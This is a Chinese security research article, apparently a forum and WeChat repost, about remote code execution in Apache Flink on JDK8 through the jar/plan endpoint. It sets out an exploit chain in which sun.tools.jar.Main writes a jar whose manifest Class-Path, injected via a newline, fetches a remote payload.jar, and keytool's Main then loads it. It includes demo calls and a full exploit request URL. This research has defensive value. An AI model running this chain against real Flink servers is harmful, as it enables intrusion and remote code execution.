本文首发于【i春秋论坛】
https://bbs.ichunqiu.com/thread-63251-1-1.html
分享你的技术,为安全加点温度~
✦ +
在HackerOne的一篇Flink(https://hackerone.com/reports/1418891)报告中,展示了一种仅通过get请求就可以完成RCE的思路,其中涉及到的主角com.sun.tools.script.shell.Main
存在于JDK9及以上版本,那么在JDK8及以下版本该怎么办呢?这便是本文的由来。
流程分析
在调用/jars/:jarid/plan 时它接收entry-class
(类的全限定类名) 和programArg
(main方法的参数),然后会调用到org.apache.flink.client.program.PackagedProgram#loadMainClas
来加载传入的类
其中加载类的ClassLoader是URLClassLoader的子类
然后会调用org.apache.flink.client.program.PackagedProgram#callMainMethod
来反射调用main函数
整体下来并没有看到什么其他的特性可用,需要老老实实的来寻找可用的main函数了。
可用类寻找
首先根据上面分析的要求编写查询语句,这里直接使用tabby,由于本来存在main函数的类就不多,索性就全部查出来挨个看一看吧
match (m1:Method) where m1.NAME="main" and m1.IS_STATIC=true and m1.IS_PUBLIC=true
return m1
一共142个,手动排除一下根本加载不了的(如jvm的核心类,类非public等等)就变得很少了,经过大致的筛选,我挑了这样几个类
jdk.nashorn.tools.Shell
com.sun.org.apache.xerces.internal.impl.xpath.XPath
sun.security.tools.keytool.Main
com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile
sun.tools.jar.Main
这个类是一个命令行工具,它提供了一个交互式的 JavaScript shell,可以在命令行上运行 JavaScript 代码,不过遗憾的是,只能在交互状态下执行js,直接调用main只会返回一个交互shell,但是由于我们没有输入交互的地方,因此用不了
这个类是解析 XPath 表达式的,调试看了一下后发现既不能写文件也不能用xpath表达式执行代码,遂放弃
这个类是JDK中用于创建、导出和导入证书用的,通过调试发现其可以通过URLClassLoader加载jar包
但由于url的协议写死成了file,因此只能加载本地的jar
使用如下demo即可加载本地jar
sun.security.tools.keytool.Main.main(new String[]{"-LIST","-provider:","classname","-keystore","test","-providerpath","/tmp/xxx.jar"});
这个类是用来将xslt编译成class的,网上也有文章针对xslt的问题进行了研究。 JDK-Xalan的XSLT整数截断漏洞利用构造 主要研究了在JDK中将xslt转为class时通过整数截断漏洞生成恶意的class,作者在文中也说了在转换的时候没有类的实例化过程,因此执行不了代码
这个类用于创建、查看和提取JAR,光听描述就觉得很有看头,经过一番测试后会发现创建jar时首先要有对应的class文件在服务器上,并不能通过远程方式来获取class组成jar,在创建jar时要求很宽松,无论什么文件都可以压缩到jar中,同时还可以自定义MANIFEST.MF
文件的内容,但是由于我们控制不了class内容,看起来又无法利用了,这时我将目光转向了MANIFEST.MF
上
根据描述,Class-Path 可以指定jar包的依赖关系,ClassLoader会根据该路径来搜索class,前文我们已经有了一个URLClassLoader,那么我们可不可以指定Class-Path路径为远程路径来加载类呢?经过测试确实是可以的,那么可以使用如下的示例来在服务器上创建一个jar
sun.tools.jar.Main.main(new String[] { "cfe", "/tmp/hello.jar", "hellonClass-Path: http://ip:port/payload.jar", "/tmp/" });
payload.jar内容如下
利用过程总结
最后总结一下利用过程,美中不足的是需要flink有自动重启功能,因为在sun.tools.jar.Main
的main函数中存在着exit,写完jar后会直接退出进程;首先写入jar包
http://127.0.0.1:8081/jars/952110e0-460f-4c77-9985-814e7bcc816b_jobjar-1.0-SNAPSHOT.jar/plan?entry-class=sun.tools.jar.Main&programArg=cfe,/tmp/hello.jar,hello%0aClass-Path%3A%20http%3A%2F%2F127.0.0.1%3A9999%2Fpayload.jar,/tmp/¶llelism=1
写入的jar包的MANIFEST.MF
文件内容如下
然后使用sun.security.tools.keytool.Main
来加载这个jar,进而利用URLClassLoader加载远程的payload.jar ,执行命令
后记
有趣的是,上文中的方法在去年的TCTF的一个选手的writeup中出现过,见 My 0CTF/TCTF 2022 hessian-onlyjdk solution(https://gist.github.com/CykuTW/4c0d105df24acf2218e0aedb67661da9),不过当时的题目与flink并无任何关系,只是缺少可以执行命令的公有静态方法,其writeup中描述说sun.tools.jar.Main
借助CRLF injection写入了后面的CLASS-PATH,不过我个人觉得这是这个类的正常功能,本身就支持使用换行符写入属性。
推荐阅读
+ + + + + + + + + + +
春秋GAME伽玛实验室
会定期分享赛题赛制设计、解题思路……
如果你日常有一些技术研究和好的设计思路
或在赛后对某道题有另辟蹊径的想法
欢迎找到春秋GAME投稿哦~
联系vx:cium0309
欢迎加入 春秋GAME CTF交流2群
原文始发于微信公众号(春秋伽玛):Flink RCE via jar/plan API Endpoint in JDK8